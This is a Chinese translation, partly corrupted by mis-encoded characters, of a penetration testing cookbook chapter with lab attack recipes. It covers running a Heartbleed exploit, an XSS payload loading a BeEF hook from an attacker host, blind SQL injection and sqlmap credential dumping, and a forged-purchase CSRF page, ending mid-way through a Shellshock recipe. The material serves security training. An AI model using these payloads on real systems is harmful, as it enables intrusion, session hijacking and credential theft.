Kali Linux Web 滲透測(cè)試秘籍 第七章 高級(jí)利用

第七章 高級(jí)利用

作者:Gilberto Najera-Gutierrez

譯者:飛龍

協(xié)議:CC BY-NC-SA 4.0

簡(jiǎn)介

在獲得一些便利來(lái)發(fā)現(xiàn)和利用漏洞之后,我們現(xiàn)在轉(zhuǎn)向可能需要更多努力的其他問(wèn)題上。

這一章中,我們會(huì)搜索利用,編譯程序,建立服務(wù)器以及破解密碼,這可以讓我們?cè)L問(wèn)敏感信息,并執(zhí)行服務(wù)器和應(yīng)用中的特權(quán)功能。

7.1 在 Exploit-DB 中搜索 Web 服務(wù)器的漏洞

我們偶爾會(huì)在操作系統(tǒng)中, Web 應(yīng)用所使用的庫(kù)中,以及活動(dòng)服務(wù)中發(fā)現(xiàn)服務(wù)器漏洞,或者可以在瀏覽器或 Web 代理中不能利用的安全問(wèn)題。對(duì)于這些情況,我們可以使用 Metasploit 的利用集合,或者如果我們要找的不在 Metasploit 里面,我們可以在 Exploit-DB 中搜索它。

Kali 包含了 Exploit-DB 中的利用的離線(xiàn)副本。這個(gè)秘籍中,我們會(huì)使用 Kali 自帶的命令來(lái)探索這個(gè)數(shù)據(jù)庫(kù)并找到我們需要的利用。

操作步驟

  1. 打開(kāi)終端。

  2. 輸入下列命令:

    searchsploit heartbleed
    
  3. 下一步是將利用復(fù)制到一個(gè)可以修改的地方,并編譯它,像這樣:

    mkdir heartbleed 
    cd heartbleed 
    cp /usr/share/exploitdb/platforms/multiple/remote/32998.c 
    
  4. 通常,利用在第一行包含一些自身信息,以及如何使用它們,像這樣:

    head -n 30 32998.c
    
  5. 這里,利用使用 C 編寫(xiě),所以我們需要將它編譯來(lái)使用。編譯命令在文件中顯示(cc -lssl -lssl3 -lcrypto heartbleed.c -o heartbleed),它在 Kali 中不起作用,所以我們需要下面這個(gè):

    gcc 32998.c -o heartbleed -Wl,-Bstatic -lssl -Wl,-Bdynamic -lssl3 -lcrypto
    

工作原理

searchsploit命令是安裝在 Kali 中的 Exploit-DB 本地副本的接口。它用于在利用的標(biāo)題和描述中搜索字符串,并顯示結(jié)果。

利用存在于/usr/share/exploitdb/platforms目錄中。searchsploit所展示的利用目錄是它的相對(duì)路徑,這就是我們?cè)趶?fù)制文件的時(shí)候使用完整路徑的原因。利用文件以利用編號(hào)命名,在它們被提交到Exploit-DB 時(shí)分配。

編譯步驟和在源代碼中的推薦有些不同,因?yàn)?OpenSSL 庫(kù)在基于 Debian 的發(fā)行版中,由于它們從源代碼中構(gòu)建的方式而缺少一些功能。

更多

監(jiān)控利用的影響和效果極其重要,因?yàn)槲覀冊(cè)趯?shí)時(shí)系統(tǒng)中使用它。通常,Exploit-DB 中的利用都值得相信,即使它們通常需要一些調(diào)整來(lái)工作在特定的環(huán)境中,但是它們中有一些不像他們所說(shuō)的那樣。出于這個(gè)原因,在真實(shí)世界的滲透測(cè)試中使用之前,我們需要檢查源代碼并在我們的實(shí)驗(yàn)環(huán)境中測(cè)試它們。

另見(jiàn)

除了 Exploit-DB(www.exploit-db.com),也有一些其他站點(diǎn)可以用于搜索目標(biāo)系統(tǒng)中的已知漏洞和利用:

7.2 利用 Heartbleed 漏洞

這個(gè)秘籍中,我們會(huì)使用之前編譯的 Heartbleed 利用來(lái)提取關(guān)于存在漏洞的 Bee-box 服務(wù)器的信息(https://192.168.56.103:8443/)。

Bee-box 虛擬機(jī)可以從https://www.vulnhub.com/ entry/bwapp-bee-box-v16,53/下載,那里也有安裝指南。

準(zhǔn)備

在上一個(gè)秘籍中,我們生成了 Heartbleed 利用的可執(zhí)行文件。我們現(xiàn)在使用它來(lái)利用服務(wù)器的漏洞。

Heartbleed 是能夠從服務(wù)器內(nèi)存中提取信息的漏洞。在嘗試?yán)脕?lái)獲得一些要提取的信息之前,可能需要瀏覽并向服務(wù)器的 8443 端口上的 HTTPS 頁(yè)面發(fā)送數(shù)據(jù)。

操作步驟

  1. 如果我們檢查Bee-Box 的 8443 端口,我們會(huì)發(fā)現(xiàn)它存在 Heartbleed 漏洞。

    sslscan 192.168.56.103:8443
    
  2. 現(xiàn)在,讓我們開(kāi)始利用漏洞。手心,我們?cè)L問(wèn)包含可執(zhí)行利用的文件夾:

    cd heartbleed
    
  3. 之后我們檢查程序的選項(xiàng),像這樣:

    ./heartbleed --help
    
  4. 我們要嘗試?yán)?code>192.168.56.103的 443 端口,獲得最大的泄露并保存輸出到文本文件hb_test.txt

    ./heartbleed -s 192.168.56.103 -p 8443 -f hb_test.txt -t 1
    
  5. 現(xiàn)在,如果我們檢查hb_test.txt的內(nèi)容:

    cat hb_test.txt
    

    我們的利用從 HTTPS 服務(wù)器中提取了信息,從這里我們可以看到會(huì)話(huà) OD 甚至還有完整的登錄請(qǐng)求,包括純文本用戶(hù)名和密碼。

  6. 如果我們想要跳過(guò)所有的二進(jìn)制數(shù)據(jù),只查看文件中的可讀文本,使用strings命令:

    strings hb_test.txt
    

工作原理

我們?cè)诘谒恼轮刑岬竭^(guò),Heartbleed 漏洞允許攻擊者從 OpenSSL 服務(wù)器內(nèi)存中以純文本讀取信息,這意味著我們不需要解密甚至是解釋任何客戶(hù)端和服務(wù)端之間的通信,我們只需簡(jiǎn)單地向服務(wù)器請(qǐng)求內(nèi)存中的東西,它會(huì)回應(yīng)未加密的信息。

這個(gè)秘籍中,我們使用了可公共訪(fǎng)問(wèn)的利用來(lái)執(zhí)行攻擊,并獲取到至少一個(gè)有效的會(huì)話(huà) ID。有的時(shí)候還可能在 Heartbleed 的轉(zhuǎn)儲(chǔ)中找到密碼或其它敏感信息。

最后,strings命令只展示文件中的字符串,跳過(guò)所有特殊字符,使其更加易讀。

7.3 使用 BeEF 利用 XSS

BeEF,即瀏覽器利用框架,是個(gè)專(zhuān)注于客戶(hù)端攻擊向量的框架,特別是 Web 瀏覽器的攻擊。

這個(gè)秘籍中,我們會(huì)利用 XSS 漏洞并使用 BeEF 來(lái)控制客戶(hù)端瀏覽器。

準(zhǔn)備

在開(kāi)始之前,我們需要確保啟動(dòng)了 BeEF 服務(wù),并且能夠訪(fǎng)問(wèn)http://127.0.0.1:3000/ui/panel(使用beef/beef身份標(biāo)識(shí))。

  1. Kali 的默認(rèn) BeEF 服務(wù)不能工作。所以我們不能僅僅運(yùn)行beef-xss讓它啟動(dòng)。我們需要從安裝目錄中啟動(dòng)它,像這樣:

    cd /usr/share/beef-xss/ 
    ./beef
    
  2. 現(xiàn)在,瀏覽http://127.0.0.1:3000/ui/panel并使用beef作為用戶(hù)名和密碼。如果有效,我們就準(zhǔn)備好了。

操作步驟

  1. BeEF 需要客戶(hù)端瀏覽器調(diào)用hook.js文件,這用于將瀏覽器勾到我們的 BeEF 服務(wù)器,我們會(huì)使用一個(gè)存在 XSS 漏洞的應(yīng)用來(lái)使用戶(hù)調(diào)用它。為了嘗試簡(jiǎn)單的 XSS 測(cè)試,瀏覽http://192.168.56.102/bodgeit/search.jsp?q=%3Cscript%3Ealert%28 1%29%3C%2Fscript%3E

  2. 這就是存在 XSS 漏洞的應(yīng)用,所以現(xiàn)在我們需要修改腳本來(lái)調(diào)用hook.js。想象一下你就是受害者,你已經(jīng)收到了包含http://192.168.56.102/bodgeit/search.jsp?q=<script src="http://192.168.56.1:3000/hook.js"></script>鏈接的郵件,你打算瀏覽器它來(lái)看看,像這樣:

  3. 現(xiàn)在,在 BeEF 面板中,攻擊者會(huì)看到新的在線(xiàn)瀏覽器。

  4. 攻擊者的最佳步驟就是生成一些持久的,至少在用戶(hù)瀏覽期間有效。訪(fǎng)問(wèn)攻擊者瀏覽器的Command標(biāo)簽頁(yè),從這里選擇Persistence | Man-In-The-Browser之后點(diǎn)擊Execute。執(zhí)行之后,選擇Module Results History中的相關(guān)命令來(lái)檢查結(jié)果,像這樣:

  5. 如果我們檢查瀏覽器中的Logs標(biāo)簽頁(yè),我們可能會(huì)看到BeEF正在儲(chǔ)存用戶(hù)關(guān)于用戶(hù)在瀏覽器中執(zhí)行什么操作的信息,例如輸入和點(diǎn)擊,我們可以在這里看到:

  6. 我們也可以通過(guò)使用Commands | Browser | Hooked Domain | Get Cookie來(lái)獲取Cookie,像這樣:

工作原理

這個(gè)秘籍中,我們使用了script標(biāo)簽的src屬性來(lái)調(diào)用外部 JS 文件,這里是 BeEF的鉤子。

hook.js文件與服務(wù)器通信,執(zhí)行命令并返回響應(yīng),使攻擊者能夠看到它們。它在客戶(hù)端的瀏覽器中不打印任何東西,所以受害者通常不會(huì)知道他的瀏覽器正在被攻擊。

在讓受害者執(zhí)行我們的hook腳本之后,我們使用持久化模塊 Man In The Browser 使瀏覽器在每次用戶(hù)點(diǎn)擊鏈接時(shí),向相同域發(fā)送 AJAX 請(qǐng)求,所以這個(gè)請(qǐng)求維持了鉤子,也加載了新的頁(yè)面。

我么也會(huì)看到,BeEF 的日志記錄了用戶(hù)在頁(yè)面上執(zhí)行的每個(gè)步驟,我們能夠從中獲得用戶(hù)名和密碼信息。也可以用來(lái)獲得遠(yuǎn)程的會(huì)話(huà) Cookie,這可以讓攻擊者劫持受害者的會(huì)話(huà)。

更多

BeEF 擁有很多功能,從判斷受害者所使用的瀏覽器類(lèi)型,到利用已知漏洞和完全攻陷客戶(hù)端系統(tǒng)。一些有趣的特性是:

  • Social Engineering/Pretty Theft:這是個(gè)社會(huì)工程工具,允許我們模擬登陸頁(yè)面,就像常見(jiàn)的服務(wù)那樣,例如 Fackbook、Linkedin、YouTube 以及其它。

  • Browser/Webcam and Browser/Webcam HTML5:就像看上去那樣,這兩個(gè)模塊能夠惡意使用許可配置來(lái)激活受害者的攝像頭,前者使用隱藏的 Flash embed標(biāo)簽,后者使用 HTML5 標(biāo)簽。

  • Exploits folder:這包含一組特殊軟件和情況的利用,它們中的一些利用服務(wù)和其它客戶(hù)端瀏覽器。

  • Browser/Hooked Domain/Get Stored Credentials:這會(huì)嘗試提取瀏覽器中儲(chǔ)存的淪陷域的用戶(hù)名和密碼。

  • Use as Proxy:如果我們右擊被勾住的瀏覽器,我們會(huì)獲得將其用作代理的選項(xiàng)。這將客戶(hù)端瀏覽器用作代理,會(huì)給我們機(jī)會(huì)來(lái)探索受害者的內(nèi)部網(wǎng)絡(luò)。

BeEF 有許多其它攻擊和模塊,對(duì)滲透測(cè)試者非常實(shí)用,如果你想要了解更多,你可以查看官方的 Wiki:https://github.com/ beefproject/beef/wiki

7.4 利用 SQL 盲注

在第六章中,我們利用了基于錯(cuò)誤的 SQL 注入,現(xiàn)在我們使用 Burp Suite Intruder 作為主要工具來(lái)識(shí)別和利用 SQL 盲注。

準(zhǔn)備

使瀏覽器將 Burp Suite 用作代理。

操作步驟

  1. 瀏覽http://192.168.56.102/WebGoat,實(shí)用webgoat作為用戶(hù)名和密碼登錄。

  2. 點(diǎn)擊Start WebGoat來(lái)訪(fǎng)問(wèn) WebGoat 的主頁(yè)。

  3. 訪(fǎng)問(wèn)Injection Flaws | Blind Numeric SQL Injection

  4. 頁(yè)面上說(shuō),練習(xí)的目標(biāo)是找到給定字段在給定行中的值。我們的做事方式有一點(diǎn)不同,但是讓我們看看它如何工作:將101作為賬戶(hù)號(hào)碼,并點(diǎn)擊go

  5. 現(xiàn)在嘗試1011

    到目前為止,我們看到了應(yīng)用的行為,它僅僅告訴我們賬戶(hù)號(hào)碼是否有效。

  6. 讓我們嘗試注入,因?yàn)樗檎姨?hào)碼,可能將它們用作整數(shù)。我們?cè)跍y(cè)試中不使用單引號(hào),所以提交101 and 1=1

  7. 現(xiàn)在嘗試101 and 1=2

    看上去這里有個(gè)盲注,在有效的賬戶(hù)中注入恒真的條件結(jié)果。注入恒假的條件時(shí)會(huì)出現(xiàn)Invalid account number信息。

  8. 在這個(gè)秘籍中,我們要獲得連接到數(shù)據(jù)庫(kù)的用戶(hù)名稱(chēng)。所以我們首先需要知道用戶(hù)名稱(chēng)的長(zhǎng)度。讓我們嘗試一下,注入101 AND 1=char_length(current_user)

  9. 下一步是在 BurpSuite 的代理中尋找最后一個(gè)請(qǐng)求,并將它發(fā)送到 intruder中,像這樣:

  10. 一旦發(fā)送到 intruder,我們可以清楚所有載荷標(biāo)記,并在AND后面的1中添加新的,像這樣:

  11. 訪(fǎng)問(wèn)載荷部分并將Payload type設(shè)為Numbers

  12. Payload type設(shè)為Sequential,從 1 到 15,步長(zhǎng)為 1。

  13. 為了看看響應(yīng)是否滿(mǎn)足要求,訪(fǎng)問(wèn)Intruder's options,清除GrepMatch列表并添加Invalid account number,以及Account number is valid

    我們需要在每個(gè) intruder 的標(biāo)簽頁(yè)中這樣修改。

  14. 為了使應(yīng)用自動(dòng)化,在Redirections中選擇Always,并在Redirections中選擇Process cookies

    我們需要在每個(gè) intruder 的標(biāo)簽頁(yè)中這樣修改。

  15. 開(kāi)始攻擊

    它找到了號(hào)碼為 2 的有效響應(yīng),這意味著用戶(hù)名只含有兩個(gè)字符長(zhǎng)。

  16. 現(xiàn)在,我們打算猜測(cè)用戶(hù)名的每個(gè)字符,從第一個(gè)字符開(kāi)始。在應(yīng)用中提交下列代碼:101 AND 1=(current_user LIKE 'b%')

    我們選擇b作為第一個(gè)字符,讓 BurpSuite 來(lái)獲取請(qǐng)求,它應(yīng)該為任意字符。

  17. 同樣,我們將請(qǐng)求發(fā)送給 intruder 并保留唯一的載荷標(biāo)記b,它是名稱(chēng)的首單詞。

  18. 我們的載荷應(yīng)該是含有所有小寫(xiě)字母和大寫(xiě)字母的列表(從 a 到 z 以及 A 到 Z)。

  19. 在 intruder 中重復(fù)步驟 13 到 14 并開(kāi)始攻擊,像這樣:

    我們的用戶(hù)名的首字母是S

  20. 現(xiàn)在,我們需要找到名稱(chēng)的第二個(gè)單詞,所以我們提交101 AND 1=(current_user='Sa')到應(yīng)用的文本框,并發(fā)送請(qǐng)求給 intruder。

  21. 現(xiàn)在我們的載荷標(biāo)記是S后面的a,換句話(huà)說(shuō),名稱(chēng)的第二個(gè)字符。

  22. 重復(fù)步驟 18 到 19。在我們的例子中,我們只使用了倆表中的大寫(xiě)字母,因?yàn)槿绻谝粋€(gè)單詞是大寫(xiě)的,兩個(gè)單詞就很可能都是大寫(xiě)的。

    名稱(chēng)的第二個(gè)單詞是A,所以應(yīng)用用于執(zhí)行查詢(xún)的數(shù)據(jù)庫(kù)用戶(hù)是SASA在 MSSQL 數(shù)據(jù)庫(kù)中的意思是系統(tǒng)管理員。

工作原理

利用 SQL 盲注比起基于錯(cuò)誤的注入花費(fèi)更多精力和時(shí)間。在這個(gè)秘籍中我們看到了如何獲取連接到數(shù)據(jù)庫(kù)的用戶(hù)名,而在第六章的 SQL 注入利用匯總,我們使用了一條命令來(lái)獲取它。

我們可以使用字典來(lái)查看當(dāng)前用戶(hù)是否在名稱(chēng)列表中,但是如果名稱(chēng)不在列表中,會(huì)花費(fèi)更多時(shí)間。

我們最開(kāi)始識(shí)別了漏洞,所顯示的信息告訴我們我們的請(qǐng)求是真是假。

一旦我們知道存在注入,并且正面的響應(yīng)是什么樣子,我們開(kāi)始詢(xún)問(wèn)當(dāng)前用戶(hù)的長(zhǎng)度,詢(xún)問(wèn)數(shù)據(jù)庫(kù),1是否是當(dāng)前用戶(hù)名的長(zhǎng)度,是不是2,以此類(lèi)推,知道我們發(fā)現(xiàn)了長(zhǎng)度。知道何時(shí)停止用戶(hù)名長(zhǎng)度的搜索非常重要。

在找到長(zhǎng)度之后,我們使用相同的技巧來(lái)發(fā)現(xiàn)首字母,LIKE 'b%'語(yǔ)句告訴 SQL 解釋器是否首字母是b,剩下的并不重要,它可以是任何東西(%是用于多數(shù) SQL 實(shí)現(xiàn)的通配符)。這里,我們看到了首字母是S。使用相同的技巧,我們就能發(fā)現(xiàn)第二個(gè)字符,并得到整個(gè)名稱(chēng)。

更多

這個(gè)攻擊可以繼續(xù)來(lái)獲得 DBMS 的版本,之后使用廠(chǎng)商特定的命令來(lái)觀(guān)察是否用戶(hù)擁有管理權(quán)限。如果是的話(huà),你可以提取所有用戶(hù)名和密碼,激活遠(yuǎn)程連接,以及除此之外的許多事情。

你可以嘗試的事情之一就是使用 SQLMap 來(lái)利用這類(lèi)型的注入。

還有另一種類(lèi)型的盲注,它是基于時(shí)間的 SQL 盲注。其中我們沒(méi)有可視化的線(xiàn)索,關(guān)于命令是否被執(zhí)行(就像有效或者無(wú)效的賬戶(hù)信息)。反之,我們需要給數(shù)據(jù)庫(kù)發(fā)送sleep命令,如果響應(yīng)時(shí)間鯧魚(yú)我們發(fā)送的時(shí)間,那么它就是真的響應(yīng)。這類(lèi)型的攻擊非常緩慢,因?yàn)樗袝r(shí)需要等待 30 秒來(lái)獲得僅僅一個(gè)字符。擁有類(lèi)似 sqlninja 或者 SQLMap 的工具在這種情況下十分有用(https://www.owasp.org/index.php/Blind_SQL_Injection)。

7.5 使用 SQLMap 獲得數(shù)據(jù)庫(kù)信息

在第六章中,我們使用了 SQLMap 來(lái)從數(shù)據(jù)庫(kù)提取信息和表的內(nèi)容。這非常實(shí)用,但是這不僅僅是這個(gè)工具的優(yōu)勢(shì),也不是最有趣的事情。這個(gè)秘籍中,我們會(huì)將其用于提取關(guān)于數(shù)據(jù)庫(kù)用戶(hù)和密碼的信息,這可以讓我們?cè)L問(wèn)整個(gè)系統(tǒng),而不僅僅是應(yīng)用。

操作步驟

  1. 啟動(dòng) Bee-box 虛擬機(jī)之后,將 BurpSuite 監(jiān)聽(tīng)用做代理,登錄和選擇 SQL 注入漏洞(POST/Search)。

  2. 輸入任何電影名稱(chēng)并點(diǎn)擊Search

  3. 現(xiàn)在讓我們?cè)L問(wèn) BuirpSuite 并查看請(qǐng)求:

  4. 現(xiàn)在,在 Kali 中訪(fǎng)問(wèn)終端并輸入以下命令:

    sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title --is-dba
    

    我們可以看到注入成功了。當(dāng)前的用戶(hù)是 DBA,這意味著用戶(hù)可以對(duì)數(shù)據(jù)庫(kù)執(zhí)行管理員操作,例如添加用戶(hù)和修改密碼。

  5. 現(xiàn)在我們打算提取更多信息,例如用戶(hù)和密碼,所以在終端中輸入以下命令:

    sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title --is-dba --users --passwords
    

    我們現(xiàn)在得到了數(shù)據(jù)庫(kù)的用戶(hù)列表以及哈希后的密碼。

  6. 我們也可以獲得 shell,讓我們能夠直接發(fā)送 SQL 查詢(xún)到數(shù)據(jù)庫(kù)。

    sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title –sql-shell
    

工作原理

一旦我們知道了存在 SQL 注入,我們使用 SQLMap 來(lái)利用它,像這樣:

sqlmap -u "http://192.168.56.103/bWAPP/sqli_6.php" --cookie="PHPS ESSID=15bfb5b6a982d4c86ee9096adcfdb2e0; security_level=0" --data "title=test&action=search" -p title --is-dba

在這個(gè)對(duì) SQLMap 的調(diào)動(dòng)中,我們使用了--cookie參數(shù)來(lái)發(fā)送會(huì)話(huà) Cookie 因?yàn)閼?yīng)用需要身份驗(yàn)證來(lái)訪(fǎng)問(wèn)sqli_6.php頁(yè)面。--data參數(shù)包含發(fā)送到服務(wù)器的 POST 數(shù)據(jù),=p告訴 SQLMap 僅僅注入title參數(shù),--is-dba詢(xún)問(wèn)數(shù)據(jù)庫(kù)當(dāng)前用戶(hù)是否擁有管理員權(quán)限。

DBA 允許我們向數(shù)據(jù)庫(kù)詢(xún)問(wèn)其他用戶(hù)的信息,SQLMap 通過(guò)--users--passwords使我們的操作變得更加容易。這些參數(shù)詢(xún)問(wèn)用戶(hù)名和密碼,因?yàn)樗?DBMS 將用戶(hù)的密碼加密存儲(chǔ),我們獲得的只能是哈希。所以我們?nèi)匀灰褂妹艽a破解器來(lái)破解它們。如果你在 SQLMap 詢(xún)問(wèn)你執(zhí)行字典攻擊的時(shí)候回答Yes,你可能就知道了至少一個(gè)用戶(hù)的密碼。

我們也使用了--sql-shell選項(xiàng)來(lái)從我們向數(shù)據(jù)庫(kù)發(fā)送的 SQL 查詢(xún)中獲得 shell。這并不是真的 shell,當(dāng)然,SQLMap 通過(guò) SQL 注入發(fā)送我們寫(xiě)的命令,并返回這些查詢(xún)的結(jié)果。

7.6 執(zhí)行 CSRF 攻擊

CSRF 攻擊強(qiáng)迫身份驗(yàn)證后的用戶(hù)在 Web 應(yīng)用中執(zhí)行需要身份驗(yàn)證的,非預(yù)期的行為。這可以通過(guò)用戶(hù)所瀏覽的外部站點(diǎn)觸發(fā)該行為來(lái)實(shí)現(xiàn)。

這個(gè)秘籍中,我們會(huì)獲取應(yīng)用中的信息,來(lái)觀(guān)察攻擊站點(diǎn)是否能夠發(fā)送有效的請(qǐng)求給漏洞服務(wù)器。之后,我們會(huì)創(chuàng)建頁(yè)面來(lái)模擬正常請(qǐng)求并誘使用戶(hù)在身份驗(yàn)證后訪(fǎng)問(wèn)這個(gè)頁(yè)面。惡意頁(yè)面之后會(huì)發(fā)送請(qǐng)求給漏洞服務(wù)器,如果應(yīng)用在相同瀏覽器中打開(kāi),它會(huì)執(zhí)行操作,好像用戶(hù)發(fā)送了它們。

準(zhǔn)備

為了執(zhí)行 CSRF 攻擊,我們使用 vulnerable_vm 中的 WackoPicko 應(yīng)用:http://192.168.56.102/WackoPicko。我們需要兩個(gè)用戶(hù),一個(gè)叫做v_user,是受害者,另一個(gè)叫做attacker

我們也需要啟動(dòng) BurpSuite 并將其配置為服務(wù)器的代理。

操作步驟

  1. 作為attacker登錄 WackoPicko。

  2. 攻擊者首先需要了解應(yīng)用的行為,所以如果我們發(fā)酸使用戶(hù)購(gòu)買(mǎi)我們的圖片,將 BurpSuite 用作代理,我們需要瀏覽:http://192.168.56.102/WackoPicko/pictures/recent.php

  3. 選項(xiàng) ID 為 8 的圖片:http://192.168.56.102/WackoPicko/ pictures/view.php?picid=8

  4. 點(diǎn)擊Add to Cart

  5. 會(huì)花費(fèi)我們 10 個(gè) Tradebux,但這是值得的,所以點(diǎn)擊Continue to Confirmation

  6. 在下一頁(yè)上,點(diǎn)擊Purchase

  7. 現(xiàn)在,讓我們?cè)L問(wèn) BurpSuite 來(lái)分析發(fā)生了什么。

    第一個(gè)有趣的調(diào)用是/WackoPicko/cart/action. php?action=add&picid=8,它是添加圖片到購(gòu)物車(chē)的請(qǐng)求。/WackoPicko/cart/confirm.php在我們點(diǎn)擊相應(yīng)按鈕時(shí)調(diào)用,它可能必須用于購(gòu)買(mǎi)。另一個(gè)可被攻擊者利用的是購(gòu)買(mǎi)操作的 POST 調(diào)用:/WackoPicko/cart/action. php?action=purchase,他告訴應(yīng)用將圖片添加到購(gòu)物車(chē)中并收相應(yīng)的 Tradebux。

  8. 現(xiàn)在,攻擊者需要上傳圖片來(lái)強(qiáng)迫其它用戶(hù)購(gòu)買(mǎi)。登錄為attacker之后,訪(fǎng)問(wèn)Upload,填充所需信息,選項(xiàng)需要上傳的文件,點(diǎn)擊UploadFile

    一旦圖片唄上傳,我們會(huì)直接重定向到它的相應(yīng)頁(yè)面,你可以在這里看到:

    要注意為圖片分配的 ID,它是攻擊的核心部分,這里它是 16。

  9. 一旦我們分析了購(gòu)買(mǎi)流程,并擁有了圖片 ID,我們需要啟動(dòng)托管惡意頁(yè)面的服務(wù)器。在 Kali 中以 root 用戶(hù)啟動(dòng) Apache 服務(wù)器,像這樣:

    service apache2 start 
    
  10. 之后,創(chuàng)建 HTML 文件,叫做/var/www/html/wackopurchase.html,帶有如下內(nèi)容:

    <html> 
    <head></head> 
    <body onLoad='window.location="http://192.168.56.102/ WackoPicko/cart/action.php?action=purchase";setTimeout("window. close;",1000)'> 
    <h1>Error 404: Not found</h1> 
    <iframe src="http://192.168.56.102/WackoPicko/cart/action. php?action=add&picid=16"> 
    <iframe src="http://192.168.56.102/WackoPicko/cart/review.php" > 
    <iframe src="http://192.168.56.102/WackoPicko/cart/confirm.php"> 
    </iframe> 
    </iframe> 
    </iframe> 
    </body>
    

    這個(gè)代碼會(huì)我們的商品的發(fā)送addreviewconfirm請(qǐng)求給 WackoPicko ,之后展示 404 頁(yè)面給用戶(hù),當(dāng)它加載完成后,它會(huì)重定向到購(gòu)買(mǎi)操作,之后在一秒后關(guān)閉窗口。

  11. 現(xiàn)在以v_user登錄,上傳圖片并登出。

  12. 作為攻擊者,我們需要確保用戶(hù)訪(fǎng)問(wèn)我們的惡意站點(diǎn),同時(shí)仍然保持登錄 WackoPicko。以attacker登錄之后,訪(fǎng)問(wèn)Recent并選擇屬于v_user的圖片(剛剛上傳的那個(gè))。

  13. 我們需要在圖片上輸入下列評(píng)論。

    This image looks a lot like <a href="http://192.168.56.1/ wackopurchase.html" target="_blank">this</a>
    

    譯者注:這一步的前提是頁(yè)面上存在 XSS,沒(méi)有的話(huà)利用社會(huì)工程直接發(fā)送鏈接也是可行的。

  14. 點(diǎn)擊Preview之后Create

    你可以看到,評(píng)論中允許HTML 代碼,而且當(dāng)v_user點(diǎn)擊鏈接是,我們的惡意頁(yè)面會(huì)在新窗口打開(kāi)。

  15. 登出并以v_user登錄。

  16. 訪(fǎng)問(wèn)Home并點(diǎn)擊Your Purchased Pics,這里應(yīng)該沒(méi)有攻擊者的圖片。

  17. 再次訪(fǎng)問(wèn)Home,之后訪(fǎng)問(wèn)Your Uploaded Pics

  18. 選項(xiàng)帶有攻擊者評(píng)論的圖片。

  19. 點(diǎn)擊評(píng)論中的鏈接。

    當(dāng)它完全加載之后,你應(yīng)該看到文本框中的一些 WackoPicko 的文本,這個(gè)窗口會(huì)在一秒之后關(guān)閉,我們的攻擊已經(jīng)完成了。

  20. 如果我們?cè)L問(wèn)Home,你可以看到v_user的 Tradebux 余額現(xiàn)在是 85。

  21. 現(xiàn)在訪(fǎng)問(wèn)Your Purchased Picshttp://192.168.56.102/WackoPicko/ pictures/purchased.php來(lái)查看非預(yù)期購(gòu)買(mǎi)的圖片:

對(duì)于 CSRF 工具者,成功執(zhí)行漏洞需要預(yù)置條件。首先,我們需要了解執(zhí)行特殊操作所需的請(qǐng)求參數(shù),以及我們需要在所有情況中都處理的響應(yīng)。

這個(gè)秘籍中,我們使用了代理和有效用戶(hù)賬戶(hù)來(lái)執(zhí)行我們所需的操作,來(lái)復(fù)制和收集所需信息:購(gòu)買(mǎi)過(guò)程中涉及到的請(qǐng)求,這些請(qǐng)求所需的信息,以及執(zhí)行它們的正確順序。

一旦我們知道了需要向應(yīng)用發(fā)送什么,我們需要將其自動(dòng)化,所以我們啟動(dòng) Web 服務(wù)器,并準(zhǔn)備頁(yè)面使調(diào)用以正確順序和正確參數(shù)執(zhí)行。通過(guò)使用 onLoad JS 時(shí)間,我們確保購(gòu)買(mǎi)在addconfirm調(diào)用之前不會(huì)執(zhí)行。

在每個(gè) CSRF 攻擊中,都必須有方法讓用戶(hù)訪(fǎng)問(wèn)我們的惡意站點(diǎn),同時(shí)保持正常站點(diǎn)的登錄。這個(gè)秘籍中,我們使用應(yīng)用的特性,它的評(píng)論允許 HTML 代碼,并可以在這里輸入鏈接。所以當(dāng)用戶(hù)點(diǎn)擊某個(gè)圖片評(píng)論中的鏈接時(shí),它就向我們的 Tradebox 盜取站點(diǎn)發(fā)送了請(qǐng)求。

最后,當(dāng)用戶(hù)訪(fǎng)問(wèn)我們的站點(diǎn)時(shí),它模擬了錯(cuò)誤頁(yè)面,并在購(gòu)買(mǎi)請(qǐng)求剛剛完成后關(guān)閉自己。在這里我們并不需要擔(dān)心滲透,所以錯(cuò)誤頁(yè)面可以改進(jìn)一下使用戶(hù)不懷疑它。這通過(guò) HTML body標(biāo)簽中的onload事件中的 JavaScript 命令(購(gòu)買(mǎi)操作的調(diào)用,和用于關(guān)閉窗口的計(jì)時(shí)器)來(lái)完成。這個(gè)時(shí)間在頁(yè)面的所有元素完全加載之后觸發(fā),換句話(huà)說(shuō),當(dāng)addreviewconfirm的步驟完成之后。

7.7 使用 Shellsock 執(zhí)行命令

Shellshock(也叫作Bashdoor)是個(gè)在 2014 年九月發(fā)現(xiàn)在 Bash shell 中的bug,允許命令通過(guò)儲(chǔ)存在環(huán)境變量中的函數(shù)來(lái)執(zhí)行。

Shellshock 和我們滲透測(cè)試者有關(guān)系,因?yàn)殚_(kāi)發(fā)者有時(shí)候允許我們?cè)?PHP 或 CGI 腳本中調(diào)用系統(tǒng)命令 -- 這些腳本可以利用系統(tǒng)環(huán)境變量。

這個(gè)秘籍中,我們會(huì)在 Bee-box 漏洞虛擬機(jī)中利用 Shellshock 漏洞來(lái)獲得服務(wù)器的命令執(zhí)行權(quán)。

操作步驟

  1. 登錄http://192.168.56.103/bWAPP/

  2. Choose your bug下拉框中選擇Shellshock Vulnerability (CGI),之后點(diǎn)擊Hack

    在文本中,我們看到了一些有趣的東西;Current user: www-data。這可能意味著頁(yè)面使用系統(tǒng)調(diào)用來(lái)獲得用戶(hù)名。它給了我們提示:Attack the referrer

  3. 讓我們看看背后有什么東西,使用 BurpSuite 來(lái)記錄請(qǐng)求并重復(fù)步驟 2。

  4. 讓我們查看代理的歷史:

    我們可以看到,有個(gè)iframe調(diào)用了 shell 腳本:./cgi-bin/shellshock.sh,這可能存在 Shellshock 漏洞。

  5. 讓我們跟隨提示并嘗試攻擊shellshock.sh。所以我們首先需要配置 BurpSuite 來(lái)攔截服務(wù)器的響應(yīng),訪(fǎng)問(wèn)Proxy標(biāo)簽頁(yè)的Options,并選中Intercept responses based on the following rules的選擇框。

